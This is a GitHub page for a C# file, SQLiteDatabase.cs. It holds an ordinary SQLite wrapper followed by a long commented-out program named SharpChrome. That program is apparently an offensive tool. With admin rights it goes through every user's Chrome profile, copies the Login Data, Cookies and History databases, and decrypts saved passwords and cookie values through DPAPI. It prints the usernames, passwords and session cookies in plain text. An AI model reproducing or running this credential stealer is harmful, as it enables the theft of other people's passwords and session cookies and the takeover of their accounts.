-
Notifications
You must be signed in to change notification settings - Fork 100
/
Copy pathSQLiteDatabase.cs
874 lines (814 loc) · 37.2 KB
/
SQLiteDatabase.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
// $Header$
using System;
using System.Data;
using System.Collections;
using System.Collections.Generic;
using System.Threading;
using System.Security.Cryptography;
using System.Text;
using System.Diagnostics;
using System.Security.Principal;
using System.IO;
using System.Reflection;
namespace CS_SQLite3
{
using sqlite = CSSQLite.sqlite3;
using Vdbe = CSSQLite.Vdbe;
/// <summary>
/// C#-SQLite wrapper with functions for opening, closing and executing queries.
/// </summary>
public class SQLiteDatabase
{
// pointer to database
private sqlite db;
/// <summary>
/// Creates new instance of SQLiteBase class with no database attached.
/// </summary>
public SQLiteDatabase()
{
db = null;
}
/// <summary>
/// Creates new instance of SQLiteDatabase class and opens database with given name.
/// </summary>
/// <param name="DatabaseName">Name (and path) to SQLite database file</param>
public SQLiteDatabase( String DatabaseName )
{
OpenDatabase( DatabaseName );
}
/// <summary>
/// Opens database.
/// </summary>
/// <param name="DatabaseName">Name of database file</param>
public void OpenDatabase( String DatabaseName )
{
// opens database
if ( CSSQLite.sqlite3_open( DatabaseName, ref db ) != CSSQLite.SQLITE_OK )
{
// if there is some error, database pointer is set to 0 and exception is throws
db = null;
throw new Exception( "Error with opening database " + DatabaseName + "!" );
}
}
/// <summary>
/// Closes opened database.
/// </summary>
public void CloseDatabase()
{
// closes the database if there is one opened
if ( db != null )
{
CSSQLite.sqlite3_close( db );
}
}
/// <summary>
/// Returns connection
/// </summary>
public sqlite Connection()
{
return db;
}
/// <summary>
/// Returns the list of tables in opened database.
/// </summary>
/// <returns></returns>
public ArrayList GetTables()
{
// executes query that select names of all tables in master table of the database
String query = "SELECT name FROM sqlite_master " +
"WHERE type = 'table'" +
"ORDER BY 1";
DataTable table = ExecuteQuery( query );
// Return all table names in the ArrayList
ArrayList list = new ArrayList();
foreach ( DataRow row in table.Rows )
{
list.Add( row.ItemArray[0].ToString() );
}
return list;
}
/// <summary>
/// Executes query that does not return anything (e.g. UPDATE, INSERT, DELETE).
/// </summary>
/// <param name="query"></param>
public void ExecuteNonQuery( String query )
{
// calles SQLite function that executes non-query
CSSQLite.sqlite3_exec( db, query, 0, 0, 0 );
// if there is error, excetion is thrown
if ( db.errCode != CSSQLite.SQLITE_OK )
throw new Exception( "Error with executing non-query: \"" + query + "\"!\n" + CSSQLite.sqlite3_errmsg( db ) );
}
/// <summary>
/// Executes query that does return something (e.g. SELECT).
/// </summary>
/// <param name="query"></param>
/// <returns></returns>
public DataTable ExecuteQuery( String query )
{
// compiled query
SQLiteVdbe statement = new SQLiteVdbe(this, query);
// table for result of query
DataTable table = new DataTable();
// create new instance of DataTable with name "resultTable"
table = new DataTable( "resultTable" );
// reads rows
do { } while ( ReadNextRow( statement.VirtualMachine(), table ) == CSSQLite.SQLITE_ROW );
// finalize executing this query
statement.Close();
// returns table
return table;
}
// private function for reading rows and creating table and columns
private int ReadNextRow( Vdbe vm, DataTable table )
{
int columnCount = table.Columns.Count;
if ( columnCount == 0 )
{
if ( ( columnCount = ReadColumnNames( vm, table ) ) == 0 ) return CSSQLite.SQLITE_ERROR;
}
int resultType;
if ( ( resultType = CSSQLite.sqlite3_step( vm) ) == CSSQLite.SQLITE_ROW )
{
object[] columnValues = new object[columnCount];
for ( int i = 0 ; i < columnCount ; i++ )
{
int columnType = CSSQLite.sqlite3_column_type( vm, i );
switch ( columnType )
{
case CSSQLite.SQLITE_INTEGER:
{
columnValues[i] = CSSQLite.sqlite3_column_int64( vm, i );
break;
}
case CSSQLite.SQLITE_FLOAT:
{
columnValues[i] = CSSQLite.sqlite3_column_double( vm, i );
break;
}
case CSSQLite.SQLITE_TEXT:
{
columnValues[i] = CSSQLite.sqlite3_column_text( vm, i );
break;
}
case CSSQLite.SQLITE_BLOB:
{
// Something goes wrong between adding this as a column value and converting to a row value.
byte[] encBlob = CSSQLite.sqlite3_column_blob(vm, i);
string base64 = Convert.ToBase64String(encBlob);
//byte[] decPass = ProtectedData.Unprotect(encBlob, null, DataProtectionScope.CurrentUser);
//string password = Encoding.ASCII.GetString(decPass);
//columnValues[i] = password;
columnValues[i] = base64;
break;
}
default:
{
columnValues[i] = "";
break;
}
}
}
table.Rows.Add( columnValues );
}
return resultType;
}
// private function for creating Column Names
// Return number of colums read
private int ReadColumnNames( Vdbe vm, DataTable table )
{
String columnName = "";
int columnType = 0;
// returns number of columns returned by statement
int columnCount = CSSQLite.sqlite3_column_count( vm );
object[] columnValues = new object[columnCount];
try
{
// reads columns one by one
for ( int i = 0 ; i < columnCount ; i++ )
{
columnName = CSSQLite.sqlite3_column_name( vm, i );
columnType = CSSQLite.sqlite3_column_type( vm, i );
switch ( columnType )
{
case CSSQLite.SQLITE_INTEGER:
{
// adds new integer column to table
table.Columns.Add( columnName, Type.GetType( "System.Int64" ) );
break;
}
case CSSQLite.SQLITE_FLOAT:
{
table.Columns.Add( columnName, Type.GetType( "System.Double" ) );
break;
}
case CSSQLite.SQLITE_TEXT:
{
table.Columns.Add( columnName, typeof(string) );
break;
}
case CSSQLite.SQLITE_BLOB:
{
table.Columns.Add( columnName, typeof(byte[]) );
break;
}
default:
{
table.Columns.Add( columnName, Type.GetType( "System.String" ) );
break;
}
}
}
}
catch
{
return 0;
}
return table.Columns.Count;
}
}
}
//namespace SharpChrome
//{
// using CS_SQLite3;
// class Program
// {
// static void Usage()
// {
// string banner = @"
//Usage:
// .\sharpchrome.exe arg0 [arg1 arg2 ...]
//Arguments:
// all - Retrieve all Chrome Bookmarks, History, Cookies and Logins.
// full - The same as 'all'
// logins - Retrieve all saved credentials that have non-empty passwords.
// history - Retrieve user's history with a count of each time the URL was
// visited, along with cookies matching those items.
// cookies [domain1.com domain2.com] - Retrieve the user's cookies in JSON format.
// If domains are passed, then return only
// cookies matching those domains.
//";
// Console.WriteLine(banner);
// }
// static void Main(string[] args)
// {
// // Path builder for Chrome install location
// string homeDrive = System.Environment.GetEnvironmentVariable("HOMEDRIVE");
// string homePath = System.Environment.GetEnvironmentVariable("HOMEPATH");
// string localAppData = System.Environment.GetEnvironmentVariable("LOCALAPPDATA");
// string[] paths = new string[2];
// paths[0] = homeDrive + homePath + "\\Local Settings\\Application Data\\Google\\Chrome\\User Data";
// paths[1] = localAppData + "\\Google\\Chrome\\User Data";
// //string chromeLoginDataPath = "C:\\Users\\Dwight\\Desktop\\Login Data";
// string[] validArgs = { "all", "full", "logins", "history", "cookies" };
// bool getCookies = false;
// bool getHistory = false;
// bool getBookmarks = false;
// bool getLogins = false;
// bool useTmpFile = false;
// // For filtering cookies
// List<String> domains = new List<String>();
// if (args.Length == 0)
// {
// Usage();
// return;
// }
// // Parse the arguments.
// for(int i=0; i < args.Length; i++)
// {
// // Valid arg!
// string arg = args[i].ToLower();
// if (Array.IndexOf(validArgs, arg) != -1)
// {
// if (arg == "all" || arg == "full")
// {
// getCookies = true;
// getHistory = true;
// getLogins = true;
// }
// else if (arg == "logins")
// {
// getLogins = true;
// }
// else if (arg == "history")
// {
// getHistory = true;
// }
// else if (arg == "cookies")
// {
// getCookies = true;
// }
// else
// {
// Console.WriteLine("[X] Invalid argument passed: {0}", arg);
// }
// }
// else if (getCookies && arg.Contains("."))
// {
// // must be a domain!
// domains.Add(arg);
// }
// else
// {
// Console.WriteLine("[X] Invalid argument passed: {0}", arg);
// }
// }
// string[] domainArray = domains.ToArray();
// if (!getCookies && !getHistory && !getLogins)
// {
// Usage();
// return;
// }
// // If Chrome is running, we'll need to clone the files we wish to parse.
// Process[] chromeProcesses = Process.GetProcessesByName("chrome");
// if (chromeProcesses.Length > 0)
// {
// useTmpFile = true;
// }
// //foreach(string path in paths)
// //{
// //}
// //GetLogins(chromeLoginDataPath);
// // Main loop, path parsing and high integrity check taken from GhostPack/SeatBelt
// try
// {
// if (IsHighIntegrity())
// {
// Console.WriteLine("\r\n\r\n=== Chrome (All Users) ===");
// string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive"));
// string[] dirs = Directory.GetDirectories(userFolder);
// foreach (string dir in dirs)
// {
// string[] parts = dir.Split('\\');
// string userName = parts[parts.Length - 1];
// if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
// {
// string userChromeHistoryPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", dir);
// string userChromeBookmarkPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", dir);
// string userChromeLoginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", dir);
// string userChromeCookiesPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", dir);
// // History parse
// if (useTmpFile)
// {
// if (getCookies)
// {
// userChromeCookiesPath = CreateTempFile(userChromeCookiesPath);
// if (domainArray.Length > 0)
// {
// HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, userName, true, domainArray);
// }
// else
// {
// HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, userName, true);
// }
// File.Delete(userChromeCookiesPath);
// }
// if (getHistory)
// {
// userChromeCookiesPath = CreateTempFile(userChromeCookiesPath);
// HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, userName);
// File.Delete(userChromeCookiesPath);
// userChromeHistoryPath = CreateTempFile(userChromeHistoryPath);
// ParseChromeHistory(userChromeHistoryPath, userName, cookies);
// File.Delete(userChromeHistoryPath);
// }
// if (getLogins)
// {
// userChromeLoginDataPath = CreateTempFile(userChromeLoginDataPath);
// ParseChromeLogins(userChromeLoginDataPath, userName);
// File.Delete(userChromeLoginDataPath);
// }
// }
// else
// {
// if (getCookies)
// {
// if (domainArray.Length > 0)
// {
// ParseChromeCookies(userChromeCookiesPath, userName, true, domainArray);
// }
// else
// {
// ParseChromeCookies(userChromeCookiesPath, userName, true);
// }
// }
// if (getHistory)
// {
// HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, userName);
// ParseChromeHistory(userChromeHistoryPath, userName, cookies);
// }
// if (getLogins)
// {
// ParseChromeLogins(userChromeLoginDataPath, userName);
// }
// }
// }
// }
// }
// else
// {
// Console.WriteLine("\r\n\r\n=== Chrome (Current User) ===");
// string userChromeHistoryPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", System.Environment.GetEnvironmentVariable("USERPROFILE"));
// string userChromeBookmarkPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", System.Environment.GetEnvironmentVariable("USERPROFILE"));
// //ParseChromeBookmarks(userChromeBookmarkPath, System.Environment.GetEnvironmentVariable("USERNAME"));
// string userChromeCookiesPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE"));
// string userChromeLoginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE"));
// //ParseChromeLogins(userChromeLoginDataPath, System.Environment.GetEnvironmentVariable("USERNAME"));
// if (useTmpFile)
// {
// if (getCookies)
// {
// userChromeCookiesPath = CreateTempFile(userChromeCookiesPath);
// if (domainArray.Length > 0)
// {
// ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable("USERNAME"), true, domainArray);
// }
// else
// {
// ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable("USERNAME"), true);
// }
// File.Delete(userChromeCookiesPath);
// }
// if (getHistory)
// {
// userChromeCookiesPath = CreateTempFile(userChromeCookiesPath);
// HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable("USERNAME"));
// File.Delete(userChromeCookiesPath);
// userChromeHistoryPath = CreateTempFile(userChromeHistoryPath);
// ParseChromeHistory(userChromeHistoryPath, System.Environment.GetEnvironmentVariable("USERNAME"), cookies);
// File.Delete(userChromeHistoryPath);
// }
// if (getLogins)
// {
// userChromeLoginDataPath = CreateTempFile(userChromeLoginDataPath);
// ParseChromeLogins(userChromeLoginDataPath, System.Environment.GetEnvironmentVariable("USERNAME"));
// File.Delete(userChromeLoginDataPath);
// }
// }
// else
// {
// if (getCookies)
// {
// if (domainArray.Length > 0)
// {
// ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable("USERNAME"), true, domainArray);
// }
// else
// {
// ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable("USERNAME"), true);
// }
// }
// if (getHistory)
// {
// HostCookies[] cookies = ParseChromeCookies(userChromeCookiesPath, System.Environment.GetEnvironmentVariable("USERNAME"));
// ParseChromeHistory(userChromeHistoryPath, System.Environment.GetEnvironmentVariable("USERNAME"), cookies);
// }
// if (getLogins)
// {
// ParseChromeLogins(userChromeLoginDataPath, System.Environment.GetEnvironmentVariable("USERNAME"));
// }
// }
// }
// }
// catch (Exception ex)
// {
// Console.WriteLine(" [X] Exception: {0}", ex.Message);
// }
// //Thread.Sleep(100000);
// }
// public static string CreateTempFile(string filePath)
// {
// string localAppData = System.Environment.GetEnvironmentVariable("LOCALAPPDATA");
// string newFile = "";
// newFile = Path.GetRandomFileName();
// string tempFileName = localAppData + "\\Temp\\" + newFile;
// File.Copy(filePath, tempFileName);
// return tempFileName;
// }
// public class Cookie
// {
// private string _domain;
// private long _expirationDate;
// private bool _hostOnly;
// private bool _httpOnly;
// private string _name;
// private string _path;
// private string _sameSite;
// private bool _secure;
// private bool _session;
// private string _storeId;
// private string _value;
// private int _id;
// // Getters and setters
// public string Domain
// {
// get { return _domain; }
// set { _domain = value; }
// }
// public long ExpirationDate
// {
// get { return _expirationDate; }
// set { _expirationDate = value; }
// }
// public bool HostOnly
// {
// get { return _hostOnly; }
// set { _hostOnly = value; }
// }
// public bool HttpOnly
// {
// get { return _httpOnly; }
// set { _httpOnly = value; }
// }
// public string Name
// {
// get { return _name; }
// set { _name = value; }
// }
// public string Path
// {
// get { return _path; }
// set { _path = value; }
// }
// public string SameSite
// {
// get { return _sameSite; }
// set { _sameSite = value; }
// }
// public bool Secure
// {
// get { return _secure; }
// set { _secure = value; }
// }
// public bool Session
// {
// get { return _session; }
// set { _session = value; }
// }
// public string StoreId
// {
// get { return _storeId; }
// set { _storeId = value; }
// }
// public string Value
// {
// get { return _value; }
// set { _value = value; }
// }
// public int Id
// {
// get { return _id; }
// set { _id = value; }
// }
// public string ToJSON()
// {
// Type type = this.GetType();
// PropertyInfo[] properties = type.GetProperties();
// string[] jsonItems = new string[properties.Length]; // Number of items in EditThisCookie
// for(int i = 0; i < properties.Length; i++)
// {
// PropertyInfo property = properties[i];
// object[] keyvalues = { property.Name[0].ToString().ToLower() + property.Name.Substring(1, property.Name.Length-1), property.GetValue(this, null) };
// string jsonString = "";
// if (keyvalues[1].GetType() == typeof(String))
// {
// jsonString = String.Format("\"{0}\": \"{1}\"", keyvalues);
// }
// else if (keyvalues[1].GetType() == typeof(Boolean))
// {
// keyvalues[1] = keyvalues[1].ToString().ToLower();
// jsonString = String.Format("\"{0}\": {1}", keyvalues);
// }
// else
// {
// jsonString = String.Format("\"{0}\": {1}", keyvalues);
// }
// jsonItems[i] = jsonString;
// }
// string results = "{" + String.Join(", ", jsonItems) + "}";
// return results;
// }
// }
// public class HostCookies
// {
// private Cookie[] _cookies;
// private string _hostName;
// public Cookie[] Cookies
// {
// get { return _cookies; }
// set { _cookies = value; }
// }
// public string HostName
// {
// get { return _hostName; }
// set { _hostName = value; }
// }
// public string ToJSON()
// {
// string[] jsonCookies = new string[this.Cookies.Length];
// for(int i=0; i < this.Cookies.Length; i++)
// {
// this.Cookies[i].Id = i+1;
// jsonCookies[i] = this.Cookies[i].ToJSON();
// }
// return "[" + String.Join(",", jsonCookies) + "]";
// }
// }
// public static HostCookies[] SortCookieData(DataTable cookieTable)
// {
// List<Cookie> cookies = new List<Cookie>();
// List<HostCookies> hostCookies = new List<HostCookies>();
// HostCookies hostInstance = null;
// string lastHostKey = "";
// foreach(DataRow row in cookieTable.Rows)
// {
// if (lastHostKey != (string)row["host_key"])
// {
// lastHostKey = (string)row["host_key"];
// if (hostInstance != null)
// {
// hostInstance.Cookies = cookies.ToArray();
// hostCookies.Add(hostInstance);
// }
// hostInstance = new HostCookies();
// hostInstance.HostName = lastHostKey;
// cookies = new List<Cookie>();
// }
// Cookie cookie = new Cookie();
// cookie.Domain = row["host_key"].ToString();
// long expDate;
// Int64.TryParse(row["expires_utc"].ToString(), out expDate);
// cookie.ExpirationDate = expDate;
// cookie.HostOnly = false; // I'm not sure this is stored in the cookie store and seems to be always false
// if (row["is_httponly"].ToString() == "1")
// {
// cookie.HttpOnly = true;
// }
// else
// {
// cookie.HttpOnly = false;
// }
// cookie.Name = row["name"].ToString();
// cookie.Path = row["path"].ToString();
// cookie.SameSite = "no_restriction"; // Not sure if this is the same as firstpartyonly
// if (row["is_secure"].ToString() == "1")
// {
// cookie.Secure = true;
// }
// else
// {
// cookie.Secure = false;
// }
// cookie.Session = false; // Unsure, this seems to be false always
// cookie.StoreId = "0"; // Static
// byte[] cookieValue = Convert.FromBase64String(row["encrypted_value"].ToString());
// cookieValue = ProtectedData.Unprotect(cookieValue, null, DataProtectionScope.CurrentUser);
// cookie.Value = System.Text.Encoding.ASCII.GetString(cookieValue);
// cookies.Add(cookie);
// }
// return hostCookies.ToArray();
// }
// private bool CookieHostNameMatch(HostCookies cookie, string hostName)
// {
// return cookie.HostName == hostName;
// }
// public static HostCookies FilterHostCookies(HostCookies[] hostCookies, string url)
// {
// HostCookies results = new HostCookies();
// List<String> hostPermutations = new List<String>();
// // First retrieve the domain from the url
// string domain = url;
// // determine if url or raw domain name
// if (domain.IndexOf('/') != -1)
// {
// domain = domain.Split('/')[2];
// }
// results.HostName = domain;
// string[] domainParts = domain.Split('.');
// for(int i=0; i < domainParts.Length; i++)
// {
// if ((domainParts.Length - i) < 2)
// {
// // We've reached the TLD. Break!
// break;
// }
// string[] subDomainParts = new string[domainParts.Length - i];
// Array.Copy(domainParts, i, subDomainParts, 0, subDomainParts.Length);
// string subDomain = String.Join(".", subDomainParts);
// hostPermutations.Add(subDomain);
// hostPermutations.Add("." + subDomain);
// }
// List<Cookie> cookies = new List<Cookie>();
// foreach(string sub in hostPermutations)
// {
// // For each permutation
// foreach(HostCookies hostInstance in hostCookies)
// {
// // Determine if the hostname matches the subdomain perm
// if (hostInstance.HostName == sub)
// {
// // If it does, cycle through
// foreach(Cookie cookieInstance in hostInstance.Cookies)
// {
// // No dupes
// if (!cookies.Contains(cookieInstance))
// {
// cookies.Add(cookieInstance);
// }
// }
// }
// }
// }
// results.Cookies = cookies.ToArray();
// return results;
// }
// public static HostCookies[] ParseChromeCookies(string cookiesFilePath, string user, bool printResults = false, string[] domains = null)
// {
// SQLiteDatabase database = new SQLiteDatabase(cookiesFilePath);
// string query = "SELECT * FROM cookies ORDER BY host_key";
// DataTable resultantQuery = database.ExecuteQuery(query);
// database.CloseDatabase();
// // This will group cookies based on Host Key
// HostCookies[] rawCookies = SortCookieData(resultantQuery);
// if (printResults)
// {
// if (domains != null)
// {
// foreach(string domain in domains)
// {
// HostCookies hostInstance = FilterHostCookies(rawCookies, domain);
// Console.WriteLine("--- Chrome Cookie (User: {0}) ---", user);
// Console.WriteLine("Domain : {0}", hostInstance.HostName);
// Console.WriteLine("Cookies (JSON) : {0}", hostInstance.ToJSON());
// Console.WriteLine();
// }
// }
// else
// {
// foreach (HostCookies cookie in rawCookies)
// {
// Console.WriteLine("--- Chrome Cookie (User: {0}) ---", user);
// Console.WriteLine("Domain : {0}", cookie.HostName);
// Console.WriteLine("Cookies (JSON) : {0}", cookie.ToJSON());
// Console.WriteLine();
// }
// }
// }
// // Parse the raw cookies into HostCookies that are grouped by common domain
// return rawCookies;
// }
// public static void ParseChromeHistory(string historyFilePath, string user, HostCookies[] cookies)
// {
// SQLiteDatabase database = new SQLiteDatabase(historyFilePath);
// string query = "SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY visit_count;";
// DataTable resultantQuery = database.ExecuteQuery(query);
// database.CloseDatabase();
// foreach (DataRow row in resultantQuery.Rows)
// {
// var lastVisitTime = row["last_visit_time"];
// Console.WriteLine("--- Chrome History (User: {0}) ---", user);
// Console.WriteLine("URL : {0}", row["url"]);
// if (row["title"] != String.Empty)
// {
// Console.WriteLine("Title : {0}", row["title"]);
// }
// else
// {
// Console.WriteLine("Title : No Title");
// }
// Console.WriteLine("Visit Count : {0}", row["visit_count"]);
// HostCookies matching = FilterHostCookies(cookies, row["url"].ToString());
// Console.WriteLine("Cookies : {0}", matching.ToJSON());
// Console.WriteLine();
// }
// }
// public static void ParseChromeLogins(string loginDataFilePath, string user)
// {
// SQLiteDatabase database = new SQLiteDatabase(loginDataFilePath);
// string query = "SELECT action_url, username_value, password_value FROM logins";
// DataTable resultantQuery = database.ExecuteQuery(query);
// foreach (DataRow row in resultantQuery.Rows)
// {
// byte[] passwordBytes = Convert.FromBase64String((string)row["password_value"]);
// byte[] decBytes = ProtectedData.Unprotect(passwordBytes, null, DataProtectionScope.CurrentUser);
// string password = Encoding.ASCII.GetString(decBytes);
// if (password != String.Empty)
// {
// Console.WriteLine("--- Chrome Credential (User: {0}) ---", user);
// Console.WriteLine("URL : {0}", row["action_url"]);
// Console.WriteLine("Username : {0}", row["username_value"]);
// Console.WriteLine("Password : {0}", password);
// Console.WriteLine();
// }
// }
// database.CloseDatabase();
// }
// public static bool IsHighIntegrity()
// {
// // returns true if the current process is running with adminstrative privs in a high integrity context
// WindowsIdentity identity = WindowsIdentity.GetCurrent();
// WindowsPrincipal principal = new WindowsPrincipal(identity);
// return principal.IsInRole(WindowsBuiltInRole.Administrator);
// }
// }
//}